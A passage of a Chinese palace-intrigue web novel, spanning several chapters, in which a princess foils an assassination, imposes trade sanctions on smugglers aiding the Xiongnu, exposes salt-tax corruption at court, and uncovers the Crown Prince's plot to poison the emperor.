“公主小心!”惊蛰挡开刺向姜稚的一剑,手臂却被划伤。
姜稚后退几步,从袖中取出信号烟花拉响。
烟花冲天而起,在夜空中炸开。
黑衣人见状攻势更猛。
山影卫虽勇,但黑衣人人数占优,山影卫渐渐落了下风。
就在这时,一道剑光如流星般划过,瞬间刺穿两个黑衣人的咽喉!
“陈凛!”惊蛰看着来人呼喊出声。
陈凛带着一队龙渊军精锐赶到,加入战局。
他这八年来留在京城,名义上是镇北王府管家,实则是萧寒川安排在姜稚身边的护卫。
“留活口!”姜稚声音穿透夜色。
陈凛剑势一顿,改刺为拍,剑身平拍在最后一人后脑,那人闷哼一声,软软坠地。
有了龙渊军的加入,战局迅速扭转。
黑衣人死伤大半,剩下几人眼见不敌,转身就逃。
“追!”陈凛下令。
“不必了。”姜稚阻止,“让他们走。”
“公主?”陈凛不解。
姜稚看向那些黑衣人逃窜的方向,“他们逃不掉的。”
果然,片刻后,巽三带着山影卫押着三个黑衣人回来:“公主,按您的吩咐,
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在外围布了网,一个没跑掉。”
姜稚点头,走到一个被俘的黑衣人面前,扯下面罩。
是个三十余岁的汉子,面生。
“谁派你们来的?”她问。
汉子闭口不言。
姜稚也不急,从怀中取出红莲尊者令:“认识这个吗?”
汉子看到令牌,瞳孔一缩。
“暗梅令是红莲教旧部,见此令如见教主。”姜稚声音冰冷,“说,谁指使你们在宫中行刺?”
汉子挣扎片刻,终于开口:“是…是太子…”
话音未落,他忽然浑身抽搐,口吐白沫,顷刻间气绝身亡。
另外两个俘虏也是同样死状。
陈凛上前检查后道,“他们事先服了延时发作的**。”
姜稚脸色沉了下来。
夜风掠过,带来远处太和殿的丝竹声。
宴会悠扬热闹,与这条血腥夹道仿佛是两个世界。
姜稚缓缓起身,翟衣下摆已被血与草汁染得斑驳,她浑不在意,只抬手拂去颊边一缕碎发。
她抬眼,望向灯火辉煌的宴席方向,声音轻得只有自己听见:“姜诚,你终于连最后一层遮羞布都撕了。”
惊蛰收剑,低声问,“公主,现在怎么办?”
“先回宴席。”姜稚整理了一下衣裙,“当作什么都没发生。”
她转身,步履从容,珠串在夜风里发出细碎的响,像一场无声的风。
惊蛰撕下自己一片衣角,草草裹住臂上伤口,紧随其后。
陈凛挥手,龙渊军训练有素地散开,隐入黑暗,只剩地上几具尸体,被迅速装入麻袋,拖向暗处。
回到太和殿时,宴席依旧热闹。
皇帝赐酒,百官举杯,琉璃盏相击之声清脆悦耳,像一场盛大的幻梦。
姜稚步入回字中央,灯火映着她裙角的血迹,有人瞧见,却不敢询问。
太子姜诚立于御阶之下,举杯向姜稚遥遥示意,唇边笑意温润,眼底却闪过一丝极淡的讶异。
姜稚举杯回应。
广袖掩住半面,袖下唇角微勾,像一柄藏在鞘中的刀,尚未出刃,已寒透肌肤。
两人对视间,彼此心照不宣。
第131章 打响北疆的经济制裁
夜色像一匹浸了墨的蜀锦,自宫墙一路铺到雍王府。
府门外,三十六盏朱纱笼灯被春风吹得摇晃。
姜稚下轿时,仍穿着那袭血迹半干的翟衣,珠串在行动间发出细碎而急促的碰撞,像一场无声的小雨。
她没有回内院,而是径直穿过垂花门、夹道、穿堂…去到父亲书房。
姜肃早已经在书房等她。
书房门窗紧闭,案上铺着一张北疆全图。
姜肃背手立于图前,听得推门声后转身,目光落在女儿裙角那片暗褐血迹上,瞳孔一缩,像被针尖扎了一下。
“爹爹,太子动手了。”她未落座,便将在太和殿后夹道遭遇的伏击以及暗梅令死士在吐出“太子”二字后毒发的事,一字一句道来。
姜肃没有插话,负在背后的手却渐渐握紧,指节泛白。
待到姜稚说完,书房内陷入短暂的死寂。
姜肃脸色凝重:“暗梅令潜入皇宫,这是大事。”他声音沙哑,透着后怕,“但那些死士都**,咱们没有明证能说这些事是太子所为。”
“不需要证据。”姜稚抬手,将鬓边一缕散发别至耳后,“爹爹,您明日早朝上就**宫中守卫松懈,竟让刺客潜入。要求彻查禁军,更换统领。”
姜肃眼睛一亮,火光在他瞳仁里跳出一簇极亮的点:“你是要借机清洗禁军?”
“没错!太子伯父在我的及笄礼上送了这么一份大礼,我这个做侄女的岂能不回礼!”姜稚语气略带调侃。
“太子能在宫中安排刺客,禁军中必有内应。我们借机清洗禁军,拔掉他的钉子。”
“另外,我收到消息,太子与江南盐商勾结,试图私开盐场。让都察院着手去查,一查一个准。”
“好!”姜肃点头,“为父这就去安排。”
“还有。”姜稚顿了顿,“北疆战事不能再拖了。我有个想法,需要爹爹支持。”
“你说。”姜肃点头,绯袍下的胸膛因激动而微微起伏。
“匈奴之所以能撑八年,是因为有世家暗中提供粮草军械。”姜稚走到地图前,“我查过,匈奴的补给线有三条:一条走河西,一条走漠北,一条走海路。”
“海路?”姜肃一怔,“匈奴哪来的船?”
“匈奴没有,但江南海商有。”姜稚指尖沿着地图缓缓滑动,最后停留在地图上的海岸线上。
“这些年,我让商行暗中调查,发现江南有三家海商,以贸易为名,实则向匈奴走私铁器、药材、甚至**。”
她取出一份账册:“这是他们与匈奴的交易记录,涉及金额超过五百万两。而这背后都有太子的影子。”
姜肃倒吸一口凉气:“他疯了?!勾结外敌,这是叛国!”
“所以他才这么急着出手。”姜稚眼神锐利,“北疆战事拖延越久,对他很不利。他知道,我们迟早会查到他头上。”
“那你的计划是?”
“断其补给,逼匈奴决战。”姜稚道,“我已经让商行切断那三家海商的所有贸易渠道。同时,以‘稚川先生’的名义,发布‘海禁令’。”
“凡与大晟为敌者,稚川商行永不交易,且所有合作伙伴也不得与之交易。”
这是姜稚想到的经济制裁。
以稚川商行如今掌控的贸易网络,这一禁令足以让那三家海商在大晟国境内寸步难行。
“另外,”姜稚继续道,“我建议朝廷在沿海设‘市舶司’,专管海外贸易。所有海商必须登记造册,货物出入严格查验。这样一来,走私之路就被彻底堵**。”
姜肃沉思良久:“这个‘市舶司’的构想很好,但推行起来阻力会很大。那些海商背后都有世家背景…”
“所以需要皇祖父的支持。”姜稚道,“父亲,您明日将此事一并提出。就说为了支援北疆战事,必须整顿海贸,皇祖父会同意的。”
“好,为父听你的。”
三日后,早朝。
姜肃当朝**禁军统领渎职,致使刺客潜入宫中,并在安宁公主及笄礼上,出手行刺。
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有朝臣出言维护禁军,姜肃当场将**尸体抬出,丢在那人面前。
皇帝大怒,当即革了禁军统领的职,由龙渊军出身的将领接任。
接着,姜肃又提出设立市舶司、整顿海贸的建议,果然遭到世家官员的激烈反对,但皇帝力排众议,下旨推行。
退朝后,太子姜诚回到东宫,脸色阴沉得能滴出水来。
“废物!一群废物!”他摔了茶盏,“让你们刺杀,你们不但没成功,还让姜肃借机清洗了禁军!”
一个幕僚小心翼翼道:“殿下息怒。这次虽然失了禁军,但我们在江南的布置已经完成。只要盐场开起来,就有源源不断的银子。”
“银子!银子!就知道银子!”姜诚冷笑,“雍王他们已经盯上海贸了!市舶司一设,我们的财路就断了一半!你们知道这意味着什么吗?”
姜诚走到窗前,看着宫城的方向,眼中闪过疯狂:“不能再等了。传令下去,启动‘红莲计划’。我要在萧寒川回京之前,把那个位子拿到手。”
“殿下,会不会太急了?陛下虽然病重,但还能撑些时日。”
“撑?”姜诚转身,笑容诡异,“如果父皇‘突然病逝’呢?”
幕僚浑身一颤:“殿下,这…”
“放心,我都安排好了。这江山,本该就是我的。”
姜诚眼中是志在必得的疯狂。
而此刻的雍王府,夕阳穿过老梅枝叶,在青石地上投下斑驳碎影。
姜稚立于树下,手中握着北疆最新的战报。
匈奴补给线被切断,粮草不济,已经开始后撤。
萧寒川趁势追击,打了一场漂亮的歼灭战,歼敌万余。
信末,萧寒川笔迹峻拔:“北疆战事,今冬可定。”
姜稚握着信笺,望向北方天空,那里晚霞如血。
风掠过,卷起姜稚的衣角,老梅枝颤,花瓣簌簌落在她肩头。
她伸手接住一瓣,指尖微捻,染上一抹淡红,轻声道:“终于要结束了。”
第132章 烛火下的那张妖颜
雍王府书房内,烛火通明至深夜。
姜稚伏案翻阅着从江南送来的密报,眉头越蹙越紧。
桌案上散落着数十份文书,里面有富商私印盐引的证据、海商走私的账目、东宫幕僚的名单,还有红莲教在各地活动的蛛丝马迹。
“公主,您已经看了两个时辰了。”秋露端来一盏燕窝羹,轻声劝道,“您歇会儿吧,明日还要去户部议事呢。”
姜稚接过羹汤,合上文书,揉了揉酸胀的眉心:“秋露,你说人心怎么能贪到这种地步?”
“为了银子,他们可以不顾边疆将士的粮饷,可以不顾朝廷的体面,甚至可以…不顾这江山社稷。”
秋露不知如何回答姜稚的问题,只能沉默。
姜稚辍饮着燕窝羹,脑海中却不禁想起八年前,自己在北疆问过萧寒川,不计较个人生死得失,誓死守卫边疆,值不值得。
萧寒川那时的话,至今还在她耳边回响。
“这是我父亲守护过的土地,这是大晟百姓安居的家园。稚儿,有些事,总要有人去做。”
彼时,夕阳倒映着萧寒川的眼睛,如一团熊熊燃烧的火焰。
而她自己这几年经营稚川商行时,也一直秉承着商道即人道,财权即国权的宗旨。
她把每年利润的七成,通过各种渠道输送到北疆、输送到黄河工地、输送到各地官办学堂。
而剩下三成则维持商行运转和扩大经营。
她让商行赚的每一两银子,最终都流向该去的地方。
可那些人呢?
他们赚的银子,却流向匈奴、流向私兵、流向颠覆江山的阴谋。
“公主。”惊蛰快步走进书房,面色凝重,“山影卫在城西发现一处暗桩,里面搜出了这个。”
惊蛰双手递上一份名册,册子封面赫然写着“红莲计划名录"。
姜稚翻开一看,里面密密麻麻写满了名字,其中有不仅有朝中官员、地方豪绅、军中将领,甚至还有几位宗室子弟。
而名单最后,赫然盖着一方私印:东宫詹事府。
“太子这是要把整个大晟拖下水啊!”姜稚愤怒地合上册子,声音冰冷,“惊蛰,这份名单还有谁看过?”
“只有属下和巽三看过。巽三正带人监视名单上在京的人员。”
惊蛰答道。
“做得好!惊蛰,你再把这些名字抄录一份,原件封存。抄录的那份,按照轻重缓急分类。”
“证据确凿、罪大恶极的算作一类,将名单直接移交大理寺。有嫌疑但证据不足的,让山影卫继续查。”
姜稚顿了顿:“至于那些身居要职、暂时动不得的,单独列出,我另有用处。”
“是。”惊蛰领命,又问,“公主,那太子那边我们当如何处理?”
“我会让陈凛安排龙渊军暗卫继续监视。”姜稚道。
“大哥信中说,北疆战事今冬可定。等他凯旋,太子所有的谋划都会彻底变成笑话。他现在这么急,就是因为知道时间不多了。”
“按我的计划,先去处理名单的事吧。”姜稚朝惊蛰吩咐道。
“是。”惊蛰领命退下。
姜稚重新坐回案前。
她铺开一张宣纸,开始勾勒一幅复杂的脉络图。
中央是太子姜诚,四周辐射出无数条线,连接着世家、外戚、红莲教、匈奴、江南盐商…
每条线上都标注着人物、关系以及交易内容。
这是八年来她一点一点构建起来的,关于这场权谋博弈的全景图。
看着这张图,姜稚忽然想起自己穿书前读史书的一个感悟:所有的阴谋,在阳光底下都会现出原形。
而她要做的,就是把阳光照进每一个角落。
同一时间,东宫内。
太子姜诚也在看一份名单,烛光映着他阴鸷的脸。
这八年间满是波折的生活没有磨平他的野心,反而让那股戾气沉淀得更加深沉。
他手指划过一个个名字,口中念念有词:
“禁军副统领张猛,可用,但其妻族与雍王府有旧,需防反水…”
“户部右侍郎周文远,贪财好色,已用三万两银子拿下…”
“宗人府丞姜文,辈分高但无权,给个虚职就能拉拢…”
念到最后一个名字时,他停住了——慕容玄。
这是个神秘人物。
六年前突然出现,手持红莲令
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,声称要助他夺位。
这六年来,慕容玄确实提供了不少帮助。
死士、情报,美人…甚至是**。
但姜诚始终看不透这个人。
慕容玄要什么?
荣华?权势?还是别的什么?
“殿下。”正思索间,一个低沉的声音在身后响起。
姜诚没有回头,只是将名单默默收起来,“尊者深夜来访,有何指教?”
慕容玄从阴影中走出。
他一身黑袍,脸上戴着银质面具,只露出一双深邃的眼眸:“听说殿下在整理名单,我来帮您看看有没有遗漏。”
“哦?”姜诚转身,“尊者觉得我还漏了谁?”
“宫里的窦贵妃,你的老相好!“慕容玄没有看太子精彩的表情变化,继续道,”她虽然身死,但她留下的人脉还在。”
“太医署的李太医,御膳房的孙总管,尚衣局的赵嬷嬷…这些可都是可用之人。”
姜诚眼睛一亮:“难道说,这些人尊者都能联系上?”
“早就为太子殿下联系好了。”
说话间,慕容玄从袖中取出一个小瓷瓶,瓷釉在烛光下闪着危险的光芒。
“这是‘相思引’的改良版,见效更快,更不易察觉。李太医会负责在陛下的药里做手脚,其他人会帮忙配合。”
慕容玄将瓷瓶递给太子,“最多三个月,皇帝就会‘病逝’。届时,殿下便可顺理成章继承大统。”
姜诚接过瓷瓶,握在手中,掌心渗出冷汗。
弑君弑父,这是大逆不道之罪。
可开弓没有回头箭,他已经走到这一步了。
“尊者,说吧,事成之后,你要什么?”姜诚将藏在心中的疑问问出了口。
慕容玄沉默片刻,缓缓摘下面具。
烛光下,那是一张令人惊艳的脸。
剑眉星目,鼻梁高挺,明明是个男子,却有着女子般的精致轮廓。
最引人注目的是他左眼角下那颗朱砂痣,红得妖异。
慕容玄缓缓把玩着手里的面具,“我只要一个人。”
“谁?”
“姜稚。”
慕容玄的笑容,在烛火下显得异常妖娆而又危险。
第133章 珠帘后的抬眼杀
姜诚听了慕容玄的话,明显一怔,随即笑了:“尊者好眼光。我那侄女确实是个妙人,可惜,她必须死!”
“没有我的允许,殿下不许动她。”慕容玄声音转冷,“我要的是活的。”
“为什么?”
“这是我的事。”慕容玄转身走向阴影,“殿下只需记住,没有我,你的计划不可能成功。而我要的报酬,就是姜稚!活着的姜稚!”
话音落下,人已转身,消失在黑暗中。
姜诚握紧手中的瓷瓶,脸色变幻不定,眼中闪过犹豫。
许久,他唤来心腹:“传令下去,计划照旧。但,对安宁公主要留活口。”
“是。”
三日后,早朝。
殿内弥漫着一股沉重的药香,那是太医院为皇帝特制的药香,据说有安神定气的功效。
皇帝姜桓的身体越发不如从前。
他坐在龙椅上,龙袍下的身躯显得异常单薄,时不时传来剧烈的咳嗽声。
每一声都仿佛要将五脏六腑咳出来一般。
赵德全在一旁侍立,眼中满是忧色。
“有事启奏,无事退朝。”赵德全的声音带着疲惫。
姜肃第一个出列:“儿臣有本奏。江南盐政糜烂,盐税较去年同期减少三成。儿臣请旨,清查江南盐政。”
话音刚落,新任户部尚书王安便出列反驳:
“雍王此言差矣。江南盐税减少,乃是因去岁水患影响盐场生产,若贸然严查,恐伤及无辜商贾,动摇江南民生。”
这话说得冠冕堂皇,实则是在为江南盐商开脱。
姜稚站在公主专属的珠帘后,听着朝堂上的争论,心中冷笑。
王安简直是睁眼说瞎话。
江南去年确实有水患,但那是在秋季,而盐场生产主要在春季和夏季,根本不受影响。
她轻轻敲了敲珠帘旁的玉磬——
这是皇帝特准的,公主若有话要说,可击磬示意。
清脆的磬声响起,朝堂瞬间安静,所有人的目光全都投向珠帘处。
珠帘掀开,姜稚缓步走出。
她今日身着公主朝服,头戴七翟冠,虽不似成人礼那日隆重,但自有一股威仪。
“王尚书说去年水患影响盐场生产,本宫想请教几个问题。”她声音清越,“第一,江南盐场主要产区在淮北、两浙,去岁水患发生在何处?”
王安一怔:“在…在淮南。”
“那,盐场生产旺季是几月?”姜稚步步紧逼,她的眼神如刀,直刺王安内心。
“是春夏两季。”王安的声音已经开始发抖,他感觉自己的后背已经被冷汗浸透。
“水患又是发生在几月?”
王安额头开始冒汗,豆大的汗珠顺着脸颊滚落:“九月。”
姜稚笑了,那笑声中充满了讽刺和不屑:“九月的水患,影响春夏的盐场生产。王尚书,您是觉得满朝文武都不懂农时,还是想蒙蔽圣听?”
这话问得犀利,王安脸色涨红,无言以对。他的双腿开始发抖,几乎要站立不稳。
姜稚转身面向皇帝,端庄地行了个礼:“皇祖父,孙儿这里有样东西,想请您过目。”
她呈上一本册子,封面上用娟秀的小楷写着"盐政详录"四个字:“这是稚川商行江南各分号统计的盐价变动表。”
“元嘉三十九年初,官盐每斤二十文,私盐每斤十五文。至年底,官盐跌至每斤十八文,私盐却涨至每斤十七文。”
她的声音清亮,每一个数字都像是一把重锤,“这是为何?因为有人私造盐引,让盐贩子控制了市场,故意抬高价格。”
姜稚又呈上第二本册子,这本册子明显比第一本要厚实一些:“这是江南三大盐场的交易记录。”
“去年一年,他们经手的私盐达五十万石,**白银三十万两。而这三十万两,足够北疆三万边军一年的粮饷!”
最后,她呈上第三本册子。
这本册子的封面上没有任何字迹,但所有人都知道,这里面装着的,恐怕是最致命的东西。
“这是这些盐场主与朝中官员的往来记录。其中涉及银钱、美色,甚至科举舞弊。”
三本册子,如同三记重锤,砸在朝堂之上。
殿内鸦雀无声,只有皇帝翻动册子的声音。
皇帝翻看了半晌,脸色越来越难看。
当看到某个熟悉的名字时,他猛地拍案:“混账!”
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>满殿文武吓得跪倒在地,有的人甚至已经开始瑟瑟发抖。
皇帝剧烈咳嗽起来,赵德全连忙递上帕子。待帕子拿下来时,上面赫然有一抹鲜红,在雪白的布料上显得格外刺目。
“陛下!”众臣惊呼。
皇帝摆手示意无事,但声音明显更虚弱了:“传旨!江南盐政,全权交由雍王整顿。凡涉私盐案者,无论官职大小,一律严查!若有阻拦者,以叛国论处!”
“儿臣领旨!”姜肃叩首。
王安瘫软在地,面如死灰。
退朝后,已是黄昏。
夕阳如血,将整个皇宫染成一片金红。
“公主。”陈凛不知何时出现在她身边,“有北疆急报。”
姜稚接过信笺,那信封上印着北疆特有的火漆印章,是镇北王专用的。
展开一看,她脸色骤变,手指都有些微微颤抖。
信是萧寒川的亲笔,只有短短几句话:“匈奴重新集结十万大军,欲做最后一搏。我已调集龙渊军主力,决战在即。”
“若胜,北疆可定十年太平。若败,稚儿,珍重。”
姜稚握紧信笺,指尖发白。十万对三万,这是三倍的兵力差距。
就算龙渊军骁勇,这也是一场硬仗。
“陈凛,”她声音沙哑,“北疆现在有多少存粮?”
“按王爷上月奏报,还够三个月。”
“不够。”姜稚摇头,她的大脑开始飞速运转,计算着各种可能。
“决战在即,将士们要吃饱。传令给商行,北疆所有分号,开仓放粮,优先供应龙渊军。再从江南调粮,走海路运往北疆,能运多少运多少。”
“是!”
“还有,”姜稚顿了顿,“以我的名义,给北疆将士传信。告诉他们,京城等着他们凯旋,大晟不会忘记他们的功劳。”
“是!”
陈凛领命而去。
姜稚站在原地,望着北方天空,心中默默祈祷。
她知道,这一战不仅关系到北疆的安危,更关系到整个大晟的命运。
"一定要赢啊..."她轻声呢喃,眼中闪过一丝从未有过的脆弱。
夕阳将她的影子拉得很长很长,孤独而坚定。
第134章 争不过,也要争!
七日后,北疆传来战报:
龙渊军与匈奴主力在漠北草原遭遇,血战三日,歼敌八万,自损两万。
匈奴溃败北逃,镇北王萧寒川亲率骑兵追击三百里,斩匈奴左贤王。
大捷!
消息传到京城,举城欢腾。
皇帝拖着病体登上城楼,亲自敲响凯旋钟。
但姜稚却高兴不起来。
因为随战报一起送来的,还有一份阵亡将士名单,以及萧寒川再次受伤的消息。
“左肩旧伤崩裂,失血过多,昏迷一日方醒。”姜稚看着军医的详细报告,手在颤抖。
这八年来,萧寒川受过多少次伤,她已经数不清了。
虽然每次传信的内容都是“轻伤”“无碍”,可她知道,那些伤累积起来,早晚会要了萧寒川的命。
“公主,王爷信中说,让您不要担心。”惊蛰轻声劝道,“他说这只是小伤,养几日就好。”
“养几日?”姜稚苦笑,“北疆那个地方,哪有时间让他养伤?匈奴虽然败了,但残余势力还在,漠北诸部也在观望。他这个镇北王,一刻都歇不了。”
她提笔回信,写了许多话,又觉得不妥,撕了重写。最后只留下一句:“北疆寒重,珍重加衣。稚儿在京,盼兄早归。”
信送走后,姜稚去了城外的忠烈祠。
那里供奉着八年来北疆阵亡将士的牌位,密密麻麻,有数万之多。
她跪在祠堂前,焚香祭拜。
“诸位将士英灵在上,姜稚在此立誓:必让大晟海晏河清,必让诸位家眷衣食无忧,必让后世子孙铭记诸位的功绩。”
香烟袅袅,仿佛有英魂回应。
祭拜完,姜稚正要离开,忽然看见祠堂角落里跪着一个人。
那是个中年妇人,穿着粗布衣裳,正在低声哭泣。
姜稚走过去:“大娘,您这是…”
妇人抬头,见是姜稚,慌忙行礼:“民妇拜见公主。”
“快请起。”姜稚扶起她,“您是来祭拜亲人?”
妇人抹泪:“民妇的丈夫,三年前去了北疆,去年战**。留下我和三个孩子,最大的才十岁.
姜稚心中一酸:“朝廷的抚恤金,可收到了?”
“收到了,收到了。”妇人连连点头,“公主仁德,不仅给了抚恤金,还让衙门每月发米粮。民妇感激不尽。”
她说着又要跪,被姜稚拦住。
“这是朝廷该做的。”姜稚从袖中取出一些银两,“这些您拿着,给孩子买些衣物吃食。”
“这怎么使得。”妇人伸手推辞。
“拿着吧。”姜稚将银两塞进她手中,“您的丈夫是为国捐躯的英雄,他的家眷,理应受到善待。”
妇人泣不成声。
离开忠烈祠时,姜稚心中沉甸甸的。
“可怜无定河边骨,犹是春闺梦里人。”
战争,从来都是残酷的。
而那些在朝堂上争权夺利的人,可曾想过边疆将士的牺牲?
可曾想过这些孤儿寡母的眼泪?
回到王府,姜肃正在等她。
“爹爹。”姜稚行礼。
“稚儿,你来得正好。”姜肃面色凝重,“宫中传出消息,陛下病情加重,无法上朝,暂由太子行监国之权,由为父从旁协助。”
姜稚心头一紧:“太医怎么说?”
“说是积劳成疾,加上旧伤复发。”姜肃压低声音,“但为父觉得,没那么简单。”
“爹爹的意思是?”
姜肃从袖中取出一方帕子:“这是为父买通的一个小太监,从陛下寝宫偷出来的。你看看。”
帕子上有血迹,颜色暗红发黑。
姜稚接过,仔细端详,又凑近闻了闻,脸色大变:“这是毒血!”
“你也看出来了。”姜肃沉声道,“为父私下问过王太医,他说这血的颜色不对,像是中了慢性毒。但太医院现在被李太医把持,他不敢声张。”
李太医…
“父亲,看来我们必须进宫一趟了。”姜稚起身,“现在就去。”
“可是没有诏令…”
“顾不了那么多了。”姜稚从怀中取出“如朕亲临”令牌,“皇祖父给我这个令牌时说过,可用于大事。如今皇祖父的安危,就是最大的大事!”
父女二人当即进
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宫。
有令牌在手,无人敢拦。
来到皇帝寝宫外,赵德全却拦在门口:“公主,王爷,陛下正在歇息,不宜打扰。”
“赵公公,”姜稚直视他,“陛下是真的在歇息,还是被人控制了?”
赵德全脸色一变:“公主何出此言?”
“赵公公,您伺候皇祖父几十年,最是忠心。”姜稚放缓语气,“您应该也察觉到了,皇祖父的病来得蹊跷。难道您就眼睁睁看着他被人害死吗?”
赵德全沉默良久,老泪纵横:“老奴也没有办法啊。李太医是太子举荐的,御膳房、尚衣局也都悄无声息地换了一批人。老奴想给陛下换个太医,都被拦下了。”
果然如此。
姜稚与姜肃对视一眼,心中了然。
“赵公公,您信我吗?”姜稚问。
“老奴信公主。”
“那好,”姜稚从袖中取出一枚药丸,“这是王太医秘制的解毒丸,可解百毒。您想办法让陛下服下,至少能暂时压制毒性。”
赵德全接过药丸,重重点头。
“另外,”姜肃道,“我们会想办法调开李太医,让王太医进宫诊脉,但需要时间。所以这期间,烦请赵公公稳住局面。”
“老奴明白。”
离开寝宫时,姜稚回头望了一眼。夕阳下的宫城巍峨壮丽,却弥漫着一股腐朽的气息。
而她和父亲要做的,就是在风暴来临之前,稳住这艘大船。
回府的马车上,姜稚忽然开口:“爹爹,如果皇祖父真的不在了,您会争那个位置吗?”
姜肃沉默许久,缓缓道:“为父不想争,但不能看着大晟落入奸佞之手。”
“那如果争不过呢?”
“争不过,也要争!”姜肃看向女儿,眼神坚定,“稚儿,有些事,明知不可为也要为之。这是责任,也是使命。”
姜稚握住父亲的手:“女儿会陪您一直走下去的。”
前方是未知的风暴,但父女二人都知道,他们已无退路。
为了这江山社稷,为了那些死去的将士,也为了…
心中那份不曾磨灭的信念。
第135章 热气腾腾的“鞭法”出炉
四月初一。
雍王府书房内烛火彻夜未熄。
姜稚伏案绘制着一张复杂的宫廷布局图。
每个宫殿、每处通道、甚至每班侍卫的换岗时间都标注得清清楚楚。
惊蛰侍立在一旁,不时递上新的情报。
“公主,太医署那边传来消息。”巽三在门外压低声音禀报,“王太医暗中查验了陛下的药渣,里面确实加了一些别的东西。”
“虽然看起来是‘相思引’,但是药性更烈,发作更快。若是按这个剂量,皇帝陛下最多再有一个月就会毒发不治。”
姜稚笔尖一顿,墨迹在宣纸上晕开一小团。
一个月…
她这个太子伯父是连最后的骨肉亲情都不顾了。
姜稚放下笔,揉了揉发胀的太阳穴:“太子那边有什么动静?”
“东宫这几日异常安静,太子称病不出,连每日给陛下的请安都免了。”巽三继续禀报。
“但山影卫发现,东宫的侧门夜间常有马车进出,车上装的是箱子,看起来很沉。”
“箱子?”姜稚沉吟,“有查清楚装的是什么吗?”
“有兄弟冒险潜入一次,发现里面是全是兵器和甲胄。”
姜稚眼神一冷:“看来太子是打算硬来了。禁军那边呢?”
“新任禁军统领是龙渊军出身,忠诚可靠。但禁军副统领张猛就说不准了。昨日,有人看见他的小舅子进了东宫后门,半个时辰后才出来。”
张猛,那个妻族与雍王府有旧的副统领。
姜稚记得这个人。
四年前父亲整顿京畿防务时,张猛还是个校尉,因为作战勇猛被提拔。
他的妻子是雍王府一个远房表亲的女儿,算起来还沾着点亲。
【人心易变啊。八年前还是个热血汉子,如今也成了太子的走狗。】
这心声传到隔壁房间的姜肃耳中,他正与几个心腹幕僚商议对策,闻言也是心中一叹。
女儿说得对,权势面前,确实没有多少人能守住初心。
“公主,我们现在该怎么办?”惊蛰问。
姜稚没有立即回答。
她走到窗前,推开窗棂。
四月的夜风带着花香,但空气中却弥漫着无形的肃杀。
姜稚对着夜风冷静片刻,转身下达命令,“让王太医想办法延缓毒性发作,还有,我要亲自见一见那位张副统领。”
“公主不可!”惊蛰急道,“太危险了,万一…”
“没有万一。”姜稚打断她,“张猛现在还在摇摆,否则太子不会只让他小舅子去探路。这是个机会,如果能把他拉过来,我们在禁军就有了一颗关键的棋子。”
她走到书案前,提笔写下一封短笺:“把这封信交给张猛的妻子,就说雍王妃请她过府叙旧。记住,一定要亲手交到她本人手中。”
“是。”
惊蛰跟巽三一起领命退下。
姜稚重新坐回案前,开始梳理手头所有的线索和资源。
八年来,她以“稚川先生”之名经营的不仅仅是商行,更是一张覆盖大晟的情报网。
商行在各州府的分号,明面上是商铺,暗地里都有情报据点。
山影卫三百余人分驻各地,形成了一张无形的监控网。
而现在,这张网该收紧了。
“爹爹。”姜稚敲响隔壁书房的门。
姜肃打开门,脸上带着倦色:“稚儿,何事?怎么还不去休息?”
“我们需要做最坏的打算。”姜稚将绘制的宫廷图递给姜肃,“如果太子真的狗急跳墙,逼宫谋反,我们需要提前做好应对。”
姜肃看着女儿画的宫廷图,心下感慨:
“禁军有三万人,韩统领能掌控的约有两万。剩下的一万中,张猛若能拉拢,至少能争取五千。东宫私兵据查不超过三千,但…”
“但太子敢动手,必然还有别的依仗。”姜稚接话,“红莲教的死士,世家的私兵,甚至可能还有边防军中被收买的将领。”
她顿了顿:“父亲,您还记得周慎将军吗?就是八年前我在镇北王衣冠冢里见到的那位。”
姜肃一怔:“镇北王的旧部?”
“对。”姜稚点头,“周将军当时说,镇北王在军中留有后手,是一支隐藏在边防各军中的‘暗桩’。”
“这些人平时与普通将士无异,但关键时刻见到虎符,便会听令行事。”
她从随身的香囊中取出那枚镇北王虎符:“若京城有变,咱们是不是可用此符调动‘暗桩’
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。”
姜肃眼睛一亮:“稚儿,你可知这支队伍有多少人?”
“周将军没说具体数目,只说‘足以稳京畿’。”姜稚摩挲着虎符上的纹路,“但我猜,至少不下五千。而且都是百战老兵,战力绝非寻常禁军可比。”
这消息让姜肃精神一振:“好!有这支奇兵,我们的胜算就大了。”
“但这还不够。”姜稚却摇头,“爹爹,我们要的不只是守住京城,还要彻底铲除太子**。否则就算这次赢了,他们还会卷土重来。”
她走到书架前,取下一本厚厚的册子:“这是我这几年整理的,太子及世家党羽的罪证,足够让他们头疼很长时间。”
姜肃翻看几页,倒吸一口凉气:“这些…你什么时候查到的?”
“从接手商行就开始查了。”姜稚平静道,“我知道太子不会善罢甘休,所以一直让山影卫暗中搜集证据。原本想等时机成熟再一举揭发,但现在看来,等不了了。”
她合上册子:“父亲,明日早朝,您要做一件事。”
“何事,你说。”
“提出推行‘一条鞭法’。”姜稚眼中闪过锐光。
姜肃一愣:“现在?是不是有点过于急切。朝局现在如此动荡…”
“正因为动荡,才要推行。”姜稚解释道。
“‘一条鞭法’的核心是将田赋、徭役等杂税合并为银两征收,简化税制,减轻百姓负担。但这却会触碰到世家最根本的利益。”
“因为他们这些世家都是靠隐匿田产、逃避赋税积累巨额财富。”
她走到地图前:“父亲您看,大晟的税赋七成来自江南,而江南的土地六成掌握在世家手中。”
“‘一条鞭法’一旦推行,世家必须如实申报田产,缴纳赋税。这会要了他们的命。”
“所以他们会疯狂反对。”姜肃明白了,“而太子为了争取世家支持,必然会站在他们一边。这样,太子与世家的勾结就会从暗中摆到明面上。”
“对。”姜稚点头,“我们要逼他们跳出来。”
“只要他们公开反对‘一条鞭法’,就是与天下百姓为敌。届时我们再抛出这些罪证,就能给他们致命一击。”
好一招阳谋!
第136章 “鞭法”砸碎百年祖制
书房内,姜肃听着女儿的主意,满是赞同。
“好,为父明日就提。”他重重点头,“但稚儿,你要答应为父一件事。”
“爹爹请说。”
“无论局势如何,保护好自己。”姜肃握住女儿的手,眼中满是担忧,“你是为父的命,是大晟的未来。就算天塌下来,也有为父先顶着。”
姜稚眼眶微热:“女儿明白。”
次日早朝,皇帝未能临朝。
赵德全传旨,由太子监国,雍王辅政。
太子姜诚坐在御座旁的监国位上,虽然面色苍白,但眼中却透着压抑不住的兴奋。
八年了,他终于摸到了至尊权力的边缘。
“有本启奏,无事退朝。”赵德全的声音带着几分勉强。
姜肃第一个出列:“皇兄,臣弟有本奏。”
“有何事,臣弟慢慢说即可。”姜诚满面笑容,眼神中的阴沉却几乎要掩盖不住。
